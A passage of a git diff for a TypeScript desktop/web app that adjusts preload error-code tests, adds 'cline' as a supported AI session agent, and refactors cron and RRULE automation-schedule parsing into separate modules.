@@ -65,7 +65,7 @@ describe('web preload runtime calls', () => {
     ).toMatchObject({ runtimeId: 'runtime-failure' })
   })
 
-  it('unwraps domain failures to their message after persisting failure metadata', async () => {
+  it('unwraps domain failures with their code after persisting failure metadata', async () => {
     vi.doMock('./web-runtime-client', () => ({
       WebRuntimeClient: class {
         call(method: string): Promise<RuntimeRpcResponse<unknown>> {
@@ -96,11 +96,13 @@ describe('web preload runtime calls', () => {
       rejection = error
     }
 
-    expect(rejection).toEqual(new Error('Repository catalog is unavailable'))
+    expect(rejection).toEqual(
+      Object.assign(new Error('Repository catalog is unavailable'), { code: 'repo_unavailable' })
+    )
     if (!(rejection instanceof Error)) {
       throw new Error('Expected a domain Error rejection')
     }
-    expect(Reflect.get(rejection, 'code')).toBeUndefined()
+    expect(Reflect.get(rejection, 'code')).toBe('repo_unavailable')
     expect(
       JSON.parse(globals.storage.getItem('orca.web.runtimeEnvironment.v1') ?? '{}')
     ).toMatchObject({ runtimeId: 'runtime-domain-failure' })
diff --git a/src/renderer/src/web/web-preload-api-workspace-catalog.test.ts b/src/renderer/src/web/web-preload-api-workspace-catalog.test.ts
index cb6ca0eb3e8..60efde1d826 100644
--- a/src/renderer/src/web/web-preload-api-workspace-catalog.test.ts
+++ b/src/renderer/src/web/web-preload-api-workspace-catalog.test.ts
@@ -677,6 +677,49 @@ describe('web worktree preload API', () => {
     expect(runtimeCalls[0]?.params).not.toHaveProperty('nameWasGenerated')
   })
 
+  // Why: without it the host records the app's parent pick as a CLI flag, which cleans up differently.
+  it('marks a parent-picked create as a manual action', async () => {
+    const runtimeCalls: { method: string; params: unknown }[] = []
+    vi.doMock('./web-runtime-client', () => ({
+      WebRuntimeClient: class {
+        call(method: string, params?: unknown): Promise<RuntimeRpcResponse<unknown>> {
+          runtimeCalls.push({ method, params })
+          return Promise.resolve({
+            id: `call-${runtimeCalls.length}`,
+            ok: true,
+            result: { worktree: { id: 'repo-1::/workspace/child', path: '/workspace/child' } },
+            _meta: { runtimeId: 'runtime-1' }
+          })
+        }
+
+        close(): void {}
+      }
+    }))
+
+    const globals = installBrowserGlobals('Linux')
+    writeStoredRuntimeEnvironment(globals.storage)
+    const { installWebPreloadApi } = await import('./web-preload-api')
+    installWebPreloadApi()
+
+    await globals.window.api.worktrees.create({
+      repoId: 'repo-1',
+      name: 'child',
+      setupDecision: 'inherit'
+    })
+    await globals.window.api.worktrees.create({
+      repoId: 'repo-1',
+      name: 'child',
+      setupDecision: 'inherit',
+      parentWorkspace: 'folder:folder-1'
+    })
+
+    expect(runtimeCalls[0]?.params).not.toHaveProperty('parentWorkspaceOrigin')
+    expect(runtimeCalls[1]?.params).toMatchObject({
+      parentWorkspace: 'folder:folder-1',
+      parentWorkspaceOrigin: 'manual'
+    })
+  })
+
   it('encodes explicit push target clears for runtime worktree updates', async () => {
     const runtimeCalls: { method: string; params: unknown }[] = []
     vi.doMock('./web-runtime-client', () => ({
diff --git a/src/shared/ai-vault-resume-command.ts b/src/shared/ai-vault-resume-command.ts
index 26c5b637e82..7ec417c7ef3 100644
--- a/src/shared/ai-vault-resume-command.ts
+++ b/src/shared/ai-vault-resume-command.ts
@@ -210,6 +210,8 @@ function buildAgentResumeInvocation(
       return `${baseCommand} --session ${sessionArg}`
     case 'copilot':
       return `${baseCommand} --resume=${sessionArg}`
+    case 'cline':
+      return `${baseCommand} --id ${sessionArg}`
     case 'claude':
     case 'cursor':
     case 'gemini':
diff --git a/src/shared/ai-vault-session-deletion.ts b/src/shared/ai-vault-session-deletion.ts
index 9e25f632abe..d3c2211ab84 100644
--- a/src/shared/ai-vault-session-deletion.ts
+++ b/src/shared/ai-vault-session-deletion.ts
@@ -41,7 +41,8 @@ export const AI_VAULT_DELETABLE_AGENTS = [
   'omp',
   'claude',
   'rovo',
-  'grok'
+  'grok',
+  'cline'
 ] as const satisfies readonly AiVaultAgent[]
 
 export type AiVaultDeletableAgent = (typeof AI_VAULT_DELETABLE_AGENTS)[number]
diff --git a/src/shared/ai-vault-types.ts b/src/shared/ai-vault-types.ts
index a6dff1b59a9..00f25510922 100644
--- a/src/shared/ai-vault-types.ts
+++ b/src/shared/ai-vault-types.ts
@@ -18,6 +18,7 @@ export const AI_VAULT_AGENTS = [
   'openclaw',
   'devin',
   'droid',
+  'cline',
   'kimi'
 ] as const satisfies readonly TuiAgent[]
 
@@ -59,6 +60,7 @@ export const AI_VAULT_AGENT_LABELS = {
   openclaw: 'OpenClaw',
   devin: 'Devin',
   droid: 'Droid',
+  cline: 'Cline',
   kimi: 'Kimi'
 } as const satisfies Record<AiVaultAgent, string>
 
diff --git a/src/shared/automation-cron-occurrence.ts b/src/shared/automation-cron-occurrence.ts
new file mode 100644
index 00000000000..6ad88468e16
--- /dev/null
+++ b/src/shared/automation-cron-occurrence.ts
@@ -0,0 +1,48 @@
+import type { ParsedCron } from './automation-schedule-parsing'
+
+const DAY_MS = 24 * 60 * 60 * 1000
+const CRON_SCAN_DAYS = 9 * 366
+
+export function startOfLocalDay(timestamp: number): number {
+  const date = new Date(timestamp)
+  date.setHours(0, 0, 0, 0)
+  return date.getTime()
+}
+
+export function floorToMinute(timestamp: number): number {
+  const date = new Date(timestamp)
+  date.setSeconds(0, 0)
+  return date.getTime()
+}
+
+export function cronMatches(rule: ParsedCron, timestamp: number): boolean {
+  if (!cronDateMatches(rule, timestamp)) {
+    return false
+  }
+  const date = new Date(timestamp)
+  return rule.hours.has(date.getHours()) && rule.minutes.has(date.getMinutes())
+}
+
+export function cronDateMatches(rule: ParsedCron, timestamp: number): boolean {
+  const date = new Date(timestamp)
+  if (!rule.months.has(date.getMonth() + 1)) {
+    return false
+  }
+  const dayOfMonthMatches = rule.daysOfMonth.has(date.getDate())
+  const dayOfWeekMatches = rule.daysOfWeek.has(date.getDay())
+  if (rule.dayOfMonthRestricted && rule.dayOfWeekRestricted) {
+    return dayOfMonthMatches || dayOfWeekMatches
+  }
+  return dayOfMonthMatches && dayOfWeekMatches
+}
+
+export function cronHasPossibleOccurrence(rule: ParsedCron, anchor: number): boolean {
+  let day = startOfLocalDay(anchor)
+  for (let i = 0; i < CRON_SCAN_DAYS; i += 1) {
+    if (cronDateMatches(rule, day)) {
+      return true
+    }
+    day += DAY_MS
+  }
+  return false
+}
diff --git a/src/shared/automation-schedule-occurrences.ts b/src/shared/automation-schedule-occurrences.ts
new file mode 100644
index 00000000000..57e67743d42
--- /dev/null
+++ b/src/shared/automation-schedule-occurrences.ts
@@ -0,0 +1,157 @@
+import type { AutomationSchedulePreset } from './automations-types'
+import { parseSchedule, type ParsedRrule } from './automation-schedule-parsing'
+import { cronMatches, floorToMinute, startOfLocalDay } from './automation-cron-occurrence'
+
+const DAY_MS = 24 * 60 * 60 * 1000
+const HOUR_MS = 60 * 60 * 1000
+const MINUTE_MS = 60 * 1000
+// Why: valid cron expressions like Feb 29 can have an 8-year gap across non-leap centuries.
+const CRON_SCAN_DAYS = 9 * 366
+const CRON_SCAN_MINUTES = CRON_SCAN_DAYS * 24 * 60
+const DAY_CODES = ['SU', 'MO', 'TU', 'WE', 'TH', 'FR', 'SA'] as const
+function atLocalTime(dayMs: number, hour: number, minute: number): number {
+  const date = new Date(dayMs)
+  date.setHours(hour, minute, 0, 0)
+  return date.getTime()
+}
+
+function dayMatches(rule: ParsedRrule, timestamp: number): boolean {
+  if (rule.freq === 'DAILY') {
+    return true
+  }
+  const code = DAY_CODES[new Date(timestamp).getDay()]
+  return rule.byDay.includes(code)
+}
+
+function scanDayCandidates(rule: ParsedRrule, anchor: number, direction: 1 | -1): number | null {
+  let day = startOfLocalDay(anchor)
+  for (let i = 0; i < 370; i += 1) {
+    const candidate = atLocalTime(day, rule.byHour, rule.byMinute)
+    if (dayMatches(rule, candidate)) {
+      if (direction === 1 && candidate > anchor) {
+        return candidate
+      }
+      if (direction === -1 && candidate <= anchor) {
+        return candidate
+      }
+    }
+    day += direction * DAY_MS
+  }
+  return null
+}
+
+export function buildAutomationRrule(args: {
+  preset: Exclude<AutomationSchedulePreset, 'custom'>
+  hour: number
+  minute: number
+  dayOfWeek?: number
+}): string {
+  const hour = Math.max(0, Math.min(23, Math.floor(args.hour)))
+  const minute = Math.max(0, Math.min(59, Math.floor(args.minute)))
+  if (args.preset === 'hourly') {
+    return `FREQ=HOURLY;BYMINUTE=${minute}`
+  }
+  if (args.preset === 'weekdays') {
+    return `FREQ=WEEKLY;BYDAY=MO,TU,WE,TH,FR;BYHOUR=${hour};BYMINUTE=${minute}`
+  }
+  if (args.preset === 'weekly') {
+    const day = DAY_CODES[Math.max(0, Math.min(6, Math.floor(args.dayOfWeek ?? 1)))]
+    return `FREQ=WEEKLY;BYDAY=${day};BYHOUR=${hour};BYMINUTE=${minute}`
+  }
+  return `FREQ=DAILY;BYHOUR=${hour};BYMINUTE=${minute}`
+}
+
+export function buildAutomationCronSchedule(args: {
+  preset: Exclude<AutomationSchedulePreset, 'custom'>
+  hour: number
+  minute: number
+  dayOfWeek?: number
+}): string {
+  const hour = Math.max(0, Math.min(23, Math.floor(args.hour)))
+  const minute = Math.max(0, Math.min(59, Math.floor(args.minute)))
+  if (args.preset === 'hourly') {
+    return `${minute} * * * *`
+  }
+  if (args.preset === 'weekdays') {
+    return `${minute} ${hour} * * 1-5`
+  }
+  if (args.preset === 'weekly') {
+    const day = Math.max(0, Math.min(6, Math.floor(args.dayOfWeek ?? 1)))
+    return `${minute} ${hour} * * ${day}`
+  }
+  return `${minute} ${hour} * * *`
+}
+
+export function nextAutomationOccurrenceAfter(
+  rrule: string,
+  dtstart: number,
+  after: number
+): number {
+  const rule = parseSchedule(rrule)
+  if (rule.kind === 'cron') {
+    let candidate = floorToMinute(Math.max(dtstart, after))
+    if (candidate <= after) {
+      candidate += MINUTE_MS
+    }
+    if (candidate < dtstart) {
+      candidate = floorToMinute(dtstart)
+      if (candidate < dtstart) {
+        candidate += MINUTE_MS
+      }
+    }
+    for (let i = 0; i < CRON_SCAN_MINUTES; i += 1) {
+      if (cronMatches(rule, candidate)) {
+        return candidate
+      }
+      candidate += MINUTE_MS
+    }
+    throw new Error('Unable to compute next automation run.')
+  }
+  if (rule.freq === 'HOURLY') {
+    const start = Math.max(dtstart, after)
+    const base = new Date(start)
+    base.setMinutes(rule.byMinute, 0, 0)
+    let candidate = base.getTime()
+    if (candidate <= after || candidate < dtstart) {
+      candidate += HOUR_MS
+    }
+    return candidate
+  }
+  const candidate = scanDayCandidates(rule, Math.max(dtstart - 1, after), 1)
+  if (candidate === null) {
+    throw new Error('Unable to compute next automation run.')
+  }
+  return candidate
+}
+
+export function latestAutomationOccurrenceAtOrBefore(
+  rrule: string,
+  dtstart: number,
+  now: number
+): number | null {
+  if (now < dtstart) {
+    return null
+  }
+  const rule = parseSchedule(rrule)
+  if (rule.kind === 'cron') {
+    let candidate = floorToMinute(now)
+    for (let i = 0; i < CRON_SCAN_MINUTES && candidate >= dtstart; i += 1) {
+      if (cronMatches(rule, candidate)) {
+        return candidate
+      }
+      candidate -= MINUTE_MS
+    }
+    return null
+  }
+  if (rule.freq === 'HOURLY') {
+    const base = new Date(now)
+    base.setMinutes(rule.byMinute, 0, 0)
+    let candidate = base.getTime()
+    if (candidate > now) {
+      candidate -= HOUR_MS
+    }
+    return candidate >= dtstart ? candidate : null
+  }
+  const candidate = scanDayCandidates(rule, now, -1)
+  return candidate !== null && candidate >= dtstart ? candidate : null
+}
diff --git a/src/shared/automation-schedule-parsing.ts b/src/shared/automation-schedule-parsing.ts
new file mode 100644
index 00000000000..746bb434de2
--- /dev/null
+++ b/src/shared/automation-schedule-parsing.ts
@@ -0,0 +1,317 @@
+import type { AutomationSchedulePreset } from './automations-types'
+import { cronHasPossibleOccurrence } from './automation-cron-occurrence'
+
+import { isClipboardTextByteLengthOverLimit } from './clipboard-text'
+
+export const AUTOMATION_CRON_EXPRESSION_MAX_BYTES = 2 * 1024
+export type ParsedRrule = {
+  kind: 'rrule'
+  freq: 'HOURLY' | 'DAILY' | 'WEEKLY'
+  byDay: string[]
+  byHour: number
+  byMinute: number
+}
+
+export type ParsedCron = {
+  kind: 'cron'
+  minutes: Set<number>
+  hours: Set<number>
+  daysOfMonth: Set<number>
+  months: Set<number>
+  daysOfWeek: Set<number>
+  dayOfMonthRestricted: boolean
+  dayOfWeekRestricted: boolean
+}
+
+export type ParsedSchedule = ParsedRrule | ParsedCron
+const DAY_CODES = ['SU', 'MO', 'TU', 'WE', 'TH', 'FR', 'SA'] as const
+const WEEKDAY_CODES = ['MO', 'TU', 'WE', 'TH', 'FR'] as const
+const MONTH_NAMES: Record<string, number> = {
+  JAN: 1,
+  FEB: 2,
+  MAR: 3,
+  APR: 4,
+  MAY: 5,
+  JUN: 6,
+  JUL: 7,
+  AUG: 8,
+  SEP: 9,
+  OCT: 10,
+  NOV: 11,
+  DEC: 12
+}
+const DAY_NAMES: Record<string, number> = {
+  SU: 0,
+  MO: 1,
+  TU: 2,
+  WE: 3,
+  TH: 4,
+  FR: 5,
+  SA: 6,
+  SUN: 0,
+  MON: 1,
+  TUE: 2,
+  WED: 3,
+  THU: 4,
+  FRI: 5,
+  SAT: 6
+}
+
+function parseRrule(rrule: string): ParsedRrule {
+  const entries = new Map<string, string>()
+  for (const part of rrule.split(';')) {
+    const [key, value] = part.split('=')
+    if (key && value) {
+      entries.set(key.toUpperCase(), value)
+    }
+  }
+  const freq = entries.get('FREQ')
+  if (freq !== 'HOURLY' && freq !== 'DAILY' && freq !== 'WEEKLY') {
+    throw new Error('Unsupported automation recurrence.')
+  }
+  const byHour = Number(entries.get('BYHOUR') ?? '9')
+  const byMinute = Number(entries.get('BYMINUTE') ?? '0')
+  if (!Number.isInteger(byHour) || byHour < 0 || byHour > 23) {
+    throw new Error('Invalid recurrence hour.')
+  }
+  if (!Number.isInteger(byMinute) || byMinute < 0 || byMinute > 59) {
+    throw new Error('Invalid recurrence minute.')
+  }
+  const byDay = (entries.get('BYDAY') ?? '').split(',').filter(Boolean)
+  if (
+    freq === 'WEEKLY' &&
+    (byDay.length === 0 ||
+      byDay.some((day) => !DAY_CODES.includes(day as (typeof DAY_CODES)[number])))
+  ) {
+    throw new Error('Invalid recurrence day.')
+  }
+  return { kind: 'rrule', freq, byDay, byHour, byMinute }
+}
+
+function parseCronNumber(
+  value: string,
+  names: Record<string, number> | null,
+  field: string
+): number {
+  const normalized = value.toUpperCase()
+  const named = names?.[normalized]
+  const parsed = named ?? Number(normalized)
+  if (!Number.isInteger(parsed)) {
+    throw new Error(`Invalid cron ${field}.`)
+  }
+  return parsed
+}
+
+function parseCronField(args: {
+  value: string
+  min: number
+  max: number
+  field: string
+  names?: Record<string, number>
+  normalize?: (value: number) => number
+}): Set<number> {
+  const result = new Set<number>()
+  for (const rawPart of args.value.split(',')) {
+    const part = rawPart.trim()
+    if (!part) {
+      throw new Error(`Invalid cron ${args.field}.`)
+    }
+    const stepParts = part.split('/')
+    if (stepParts.length > 2) {
+      throw new Error(`Invalid cron ${args.field}.`)
+    }
+    const [rangePart, stepPart] = stepParts
+    if (!rangePart) {
+      throw new Error(`Invalid cron ${args.field}.`)
+    }
+    const step = stepPart === undefined ? 1 : Number(stepPart)
+    if (!Number.isInteger(step) || step < 1) {
+      throw new Error(`Invalid cron ${args.field}.`)
+    }
+
+    let start: number
+    let end: number
+    if (rangePart === '*') {
+      start = args.min
+      end = args.max
+    } else if (rangePart.includes('-')) {
+      const rangeParts = rangePart.split('-')
+      if (rangeParts.length !== 2 || !rangeParts[0] || !rangeParts[1]) {
+        throw new Error(`Invalid cron ${args.field}.`)
+      }
+      const [startPart, endPart] = rangeParts
+      start = parseCronNumber(startPart, args.names ?? null, args.field)
+      end = parseCronNumber(endPart, args.names ?? null, args.field)
+    } else {
+      start = parseCronNumber(rangePart, args.names ?? null, args.field)
+      end = start
+    }
+
+    const normalizedStart = args.normalize?.(start) ?? start
+    const normalizedEnd = args.normalize?.(end) ?? end
+    if (
+      start < args.min ||
+      start > args.max ||
+      end < args.min ||
+      end > args.max ||
+      normalizedStart < args.min ||
+      normalizedStart > args.max ||
+      normalizedEnd < args.min ||
+      normalizedEnd > args.max ||
+      start > end
+    ) {
+      throw new Error(`Invalid cron ${args.field}.`)
+    }
+    for (let value = start; value <= end; value += step) {
+      result.add(args.normalize?.(value) ?? value)
+    }
+  }
+  if (result.size === 0) {
+    throw new Error(`Invalid cron ${args.field}.`)
+  }
+  return result
+}
+
+export function parseCronExpression(expression: string): ParsedCron {
+  const parts = getAutomationCronExpressionFields(expression, 6)
+  if (parts.length !== 5) {
+    throw new Error('Cron schedule must have five fields.')
+  }
+  const [minute, hour, dayOfMonth, month, dayOfWeek] = parts
+  const daysOfMonth = parseCronField({
+    value: dayOfMonth,
+    min: 1,
+    max: 31,
+    field: 'day of month'
+  })
+  const daysOfWeek = parseCronField({
+    value: dayOfWeek,
+    min: 0,
+    max: 7,
+    field: 'day of week',
+    names: DAY_NAMES,
+    normalize: (value) => (value === 7 ? 0 : value)
+  })
+  return {
+    kind: 'cron',
+    minutes: parseCronField({ value: minute, min: 0, max: 59, field: 'minute' }),
+    hours: parseCronField({ value: hour, min: 0, max: 23, field: 'hour' }),
+    daysOfMonth,
+    months: parseCronField({ value: month, min: 1, max: 12, field: 'month', names: MONTH_NAMES }),
+    daysOfWeek,
+    dayOfMonthRestricted: daysOfMonth.size !== 31,
+    dayOfWeekRestricted: daysOfWeek.size !== 7
+  }
+}
+
+export function getAutomationCronExpressionFields(expression: string, maxFields = 5): string[] {
+  if (isClipboardTextByteLengthOverLimit(expression, AUTOMATION_CRON_EXPRESSION_MAX_BYTES)) {
+    return []
+  }
+  const fields: string[] = []
+  let tokenStart = -1
+  for (let index = 0; index <= expression.length; index += 1) {
+    const isEnd = index === expression.length
+    if (!isEnd && !isAutomationCronFieldWhitespace(expression.charCodeAt(index))) {
+      if (tokenStart === -1) {
+        tokenStart = index
+      }
+      continue
+    }
+    if (tokenStart !== -1) {
+      fields.push(expression.slice(tokenStart, index))
+      tokenStart = -1
+      if (fields.length >= maxFields) {
+        break
+      }
+    }
+  }
+  return fields
+}
+
+function isAutomationCronFieldWhitespace(code: number): boolean {
+  return (
+    code === 32 ||
+    (code >= 9 && code <= 13) ||
+    code === 160 ||
+    code === 5760 ||
+    (code >= 8192 && code <= 8202) ||
+    code === 8232 ||
+    code === 8233 ||
+    code === 8239 ||
+    code === 8287 ||
+    code === 12288 ||
+    code === 65279
+  )
+}
+
+export function parseSchedule(schedule: string): ParsedSchedule {
+  const trimmed = schedule.trim()
+  if (trimmed.includes('=')) {
+    return parseRrule(trimmed)
+  }
+  return parseCronExpression(trimmed)
+}
+
+export function isValidAutomationSchedule(schedule: string): boolean {
+  try {
+    const parsed = parseSchedule(schedule)
+    if (parsed.kind === 'cron' && !cronHasPossibleOccurrence(parsed, Date.now())) {
+      throw new Error('Cron schedule has no possible run.')
+    }
+    return true
+  } catch {
+    return false
+  }
+}
+
+export function isValidAutomationCronSchedule(schedule: string): boolean {
+  try {
+    const parsed = parseCronExpression(schedule.trim())
+    return cronHasPossibleOccurrence(parsed, Date.now())
+  } catch {
+    return false
+  }
+}
+
+export function parseAutomationRrule(rrule: string): {
+  preset: AutomationSchedulePreset
+  hour: number
+  minute: number
+  dayOfWeek: number
+} {
+  const rule = parseRrule(rrule)
+  if (rule.freq === 'HOURLY') {
+    return { preset: 'hourly', hour: rule.byHour, minute: rule.byMinute, dayOfWeek: 1 }
+  }
+  if (rule.freq === 'DAILY') {
+    return { preset: 'daily', hour: rule.byHour, minute: rule.byMinute, dayOfWeek: 1 }
+  }
+  if (rule.byDay.join(',') === WEEKDAY_CODES.join(',')) {
+    return { preset: 'weekdays', hour: rule.byHour, minute: rule.byMinute, dayOfWeek: 1 }
+  }
+  if (rule.byDay.length !== 1) {
+    throw new Error('Invalid recurrence day.')
+  }
+  const dayCode = rule.byDay[0]
+  const dayOfWeek = DAY_CODES.indexOf(dayCode as (typeof DAY_CODES)[number])
+  if (dayOfWeek === -1) {
+    throw new Error('Invalid recurrence day.')
+  }
+  return {
+    preset: 'weekly',
+    hour: rule.byHour,
+    minute: rule.byMinute,
+    dayOfWeek
+  }
+}
+
+export function tryParseAutomationRrule(
+  rrule: string
+): ReturnType<typeof parseAutomationRrule> | null {
+  try {
+    return parseAutomationRrule(rrule)
+  } catch {
+    return null
+  }
+}
diff --git a/src/shared/automation-schedules.test.ts b/src/shared/automation-schedules.test.ts
index 37f051366c1..7005b7d59e0 100644
--- a/src/shared/automation-schedules.test.ts
+++ b/src/shared/automation-schedules.test.ts
@@ -1,19 +1,23 @@
 import { afterEach, describe, expect, it, vi } from 'vitest'
 import {
-  AUTOMATION_CRON_EXPRESSION_MAX_BYTES,
-  buildAutomationCronSchedule,
-  buildAutomationRrule,
   classifyAutomationCronSchedule,
   describeAutomationSchedule,
-  formatAutomationSchedule,
+  formatAutomationSchedule
+} from './automation-schedules'
+import {
+  buildAutomationCronSchedule,
+  buildAutomationRrule,
+  latestAutomationOccurrenceAtOrBefore,
+  nextAutomationOccurrenceAfter
+} from './automation-schedule-occurrences'
+import {
+  AUTOMATION_CRON_EXPRESSION_MAX_BYTES,
   getAutomationCronExpressionFields,
   isValidAutomationCronSchedule,
   isValidAutomationSchedule,
-  latestAutomationOccurrenceAtOrBefore,
-  nextAutomationOccurrenceAfter,
   parseAutomationRrule,
   tryParseAutomationRrule
-} from './automation-schedules'
+} from './automation-schedule-parsing'
 
 function formatTimeForTest(hour: number, minute: number): string {
   const date = new Date()
diff --git a/src/shared/automation-schedules.ts b/src/shared/automation-schedules.ts
index c53c11c7148..6d5a0053595 100644
--- a/src/shared/automation-schedules.ts
+++ b/src/shared/automation-schedules.ts
@@ -1,36 +1,10 @@
-/* eslint-disable max-lines -- Why: automation scheduling needs RRULE presets and
- * custom cron parsing to share one execution path for main/renderer parity. */
-import type { AutomationSchedulePreset } from './automations-types'
-import { isClipboardTextByteLengthOverLimit } from './clipboard-text'
-
-const DAY_MS = 24 * 60 * 60 * 1000
-const HOUR_MS = 60 * 60 * 1000
-const MINUTE_MS = 60 * 1000
-// Why: valid cron expressions like Feb 29 can have an 8-year gap across non-leap centuries.
-const CRON_SCAN_DAYS = 9 * 366
-const CRON_SCAN_MINUTES = CRON_SCAN_DAYS * 24 * 60
-export const AUTOMATION_CRON_EXPRESSION_MAX_BYTES = 2 * 1024
-
-type ParsedRrule = {
-  kind: 'rrule'
-  freq: 'HOURLY' | 'DAILY' | 'WEEKLY'
-  byDay: string[]
-  byHour: number
-  byMinute: number
-}
-
-type ParsedCron = {
-  kind: 'cron'
-  minutes: Set<number>
-  hours: Set<number>
-  daysOfMonth: Set<number>
-  months: Set<number>
-  daysOfWeek: Set<number>
-  dayOfMonthRestricted: boolean
-  dayOfWeekRestricted: boolean
-}
-
-type ParsedSchedule = ParsedRrule | ParsedCron
+import {
+  parseAutomationRrule,
+  parseCronExpression,
+  parseSchedule,
+  type ParsedCron
+} from './automation-schedule-parsing'
+import { cronHasPossibleOccurrence } from './automation-cron-occurrence'
 
 export type AutomationCronScheduleClassification =
   | { kind: 'hourly'; minute: number; label: string }
@@ -49,8 +23,6 @@ export type AutomationScheduleDescriptor =
   | { kind: 'custom' }
   | { kind: 'invalid' }
 
-const DAY_CODES = ['SU', 'MO', 'TU', 'WE', 'TH', 'FR', 'SA'] as const
-const WEEKDAY_CODES = ['MO', 'TU', 'WE', 'TH', 'FR'] as const
 // Why: shared labels feed the CLI, which must stay English regardless of OS or UI locale.
 const EN_DAY_NAMES = [
   'Sunday',
@@ -61,285 +33,6 @@ const EN_DAY_NAMES = [
   'Friday',
   'Saturday'
 ] as const
-const MONTH_NAMES = new Map([
-  ['JAN', 1],
-  ['FEB', 2],
-  ['MAR', 3],
-  ['APR', 4],
-  ['MAY', 5],
-  ['JUN', 6],
-  ['JUL', 7],
-  ['AUG', 8],
-  ['SEP', 9],
-  ['OCT', 10],
-  ['NOV', 11],
-  ['DEC', 12]
-])
-const DAY_NAMES = new Map<string, number>([
-  ...DAY_CODES.map((code, index) => [code, index] as const),
-  ['SUN', 0],
-  ['MON', 1],
-  ['TUE', 2],
-  ['WED', 3],
-  ['THU', 4],
-  ['FRI', 5],
-  ['SAT', 6]
-])
-
-function parseRrule(rrule: string): ParsedRrule {
-  const entries = new Map<string, string>()
-  for (const part of rrule.split(';')) {
-    const [key, value] = part.split('=')
-    if (key && value) {
-      entries.set(key.toUpperCase(), value)
-    }
-  }
-  const freq = entries.get('FREQ')
-  if (freq !== 'HOURLY' && freq !== 'DAILY' && freq !== 'WEEKLY') {
-    throw new Error('Unsupported automation recurrence.')
-  }
-  const byHour = Number(entries.get('BYHOUR') ?? '9')
-  const byMinute = Number(entries.get('BYMINUTE') ?? '0')
-  if (!Number.isInteger(byHour) || byHour < 0 || byHour > 23) {
-    throw new Error('Invalid recurrence hour.')
-  }
-  if (!Number.isInteger(byMinute) || byMinute < 0 || byMinute > 59) {
-    throw new Error('Invalid recurrence minute.')
-  }
-  const byDay = (entries.get('BYDAY') ?? '').split(',').filter(Boolean)
-  if (
-    freq === 'WEEKLY' &&
-    (byDay.length === 0 ||
-      byDay.some((day) => !DAY_CODES.includes(day as (typeof DAY_CODES)[number])))
-  ) {
-    throw new Error('Invalid recurrence day.')
-  }
-  return { kind: 'rrule', freq, byDay, byHour, byMinute }
-}
-
-function parseCronNumber(value: string, names: Map<string, number> | null, field: string): number {
-  const normalized = value.toUpperCase()
-  const named = names?.get(normalized)
-  const parsed = named ?? Number(normalized)
-  if (!Number.isInteger(parsed)) {
-    throw new Error(`Invalid cron ${field}.`)
-  }
-  return parsed
-}
-
-function parseCronField(args: {
-  value: string
-  min: number
-  max: number
-  field: string
-  names?: Map<string, number>
-  normalize?: (value: number) => number
-}): Set<number> {
-  const result = new Set<number>()
-  for (const rawPart of args.value.split(',')) {
-    const part = rawPart.trim()
-    if (!part) {
-      throw new Error(`Invalid cron ${args.field}.`)
-    }
-    const stepParts = part.split('/')
-    if (stepParts.length > 2) {
-      throw new Error(`Invalid cron ${args.field}.`)
-    }
-    const [rangePart, stepPart] = stepParts
-    if (!rangePart) {
-      throw new Error(`Invalid cron ${args.field}.`)
-    }
-    const step = stepPart === undefined ? 1 : Number(stepPart)
-    if (!Number.isInteger(step) || step < 1) {
-      throw new Error(`Invalid cron ${args.field}.`)
-    }
-
-    let start: number
-    let end: number
-    if (rangePart === '*') {
-      start = args.min
-      end = args.max
-    } else if (rangePart.includes('-')) {
-      const rangeParts = rangePart.split('-')
-      if (rangeParts.length !== 2 || !rangeParts[0] || !rangeParts[1]) {
-        throw new Error(`Invalid cron ${args.field}.`)
-      }
-      const [startPart, endPart] = rangeParts
-      start = parseCronNumber(startPart, args.names ?? null, args.field)
-      end = parseCronNumber(endPart, args.names ?? null, args.field)
-    } else {
-      start = parseCronNumber(rangePart, args.names ?? null, args.field)
-      end = start
-    }
-
-    const normalizedStart = args.normalize?.(start) ?? start
-    const normalizedEnd = args.normalize?.(end) ?? end
-    if (
-      start < args.min ||
-      start > args.max ||
-      end < args.min ||
-      end > args.max ||
-      normalizedStart < args.min ||
-      normalizedStart > args.max ||
-      normalizedEnd < args.min ||
-      normalizedEnd > args.max ||
-      start > end
-    ) {
-      throw new Error(`Invalid cron ${args.field}.`)
-    }
-    for (let value = start; value <= end; value += step) {
-      result.add(args.normalize?.(value) ?? value)
-    }
-  }
-  if (result.size === 0) {
-    throw new Error(`Invalid cron ${args.field}.`)
-  }
-  return result
-}
-
-function parseCronExpression(expression: string): ParsedCron {
-  const parts = getAutomationCronExpressionFields(expression, 6)
-  if (parts.length !== 5) {
-    throw new Error('Cron schedule must have five fields.')
-  }
-  const [minute, hour, dayOfMonth, month, dayOfWeek] = parts
-  const daysOfMonth = parseCronField({
-    value: dayOfMonth,
-    min: 1,
-    max: 31,
-    field: 'day of month'
-  })
-  const daysOfWeek = parseCronField({
-    value: dayOfWeek,
-    min: 0,
-    max: 7,
-    field: 'day of week',
-    names: DAY_NAMES,
-    normalize: (value) => (value === 7 ? 0 : value)
-  })
-  return {
-    kind: 'cron',
-    minutes: parseCronField({ value: minute, min: 0, max: 59, field: 'minute' }),
-    hours: parseCronField({ value: hour, min: 0, max: 23, field: 'hour' }),
-    daysOfMonth,
-    months: parseCronField({ value: month, min: 1, max: 12, field: 'month', names: MONTH_NAMES }),
-    daysOfWeek,
-    dayOfMonthRestricted: daysOfMonth.size !== 31,
-    dayOfWeekRestricted: daysOfWeek.size !== 7
-  }
-}
-
-export function getAutomationCronExpressionFields(expression: string, maxFields = 5): string[] {
-  if (isClipboardTextByteLengthOverLimit(expression, AUTOMATION_CRON_EXPRESSION_MAX_BYTES)) {
-    return []
-  }
-  const fields: string[] = []
-  let tokenStart = -1
-  for (let index = 0; index <= expression.length; index += 1) {
-    const isEnd = index === expression.length
-    if (!isEnd && !isAutomationCronFieldWhitespace(expression.charCodeAt(index))) {
-      if (tokenStart === -1) {
-        tokenStart = index
-      }
-      continue
-    }
-    if (tokenStart !== -1) {
-      fields.push(expression.slice(tokenStart, index))
-      tokenStart = -1
-      if (fields.length >= maxFields) {
-        break
-      }
-    }
-  }
-  return fields
-}
-
-function isAutomationCronFieldWhitespace(code: number): boolean {
-  return (
-    code === 32 ||
-    (code >= 9 && code <= 13) ||
-    code === 160 ||
-    code === 5760 ||
-    (code >= 8192 && code <= 8202) ||
-    code === 8232 ||
-    code === 8233 ||
-    code === 8239 ||
-    code === 8287 ||
-    code === 12288 ||
-    code === 65279
-  )
-}
-
-function parseSchedule(schedule: string): ParsedSchedule {
-  const trimmed = schedule.trim()
-  if (trimmed.includes('=')) {
-    return parseRrule(trimmed)
-  }
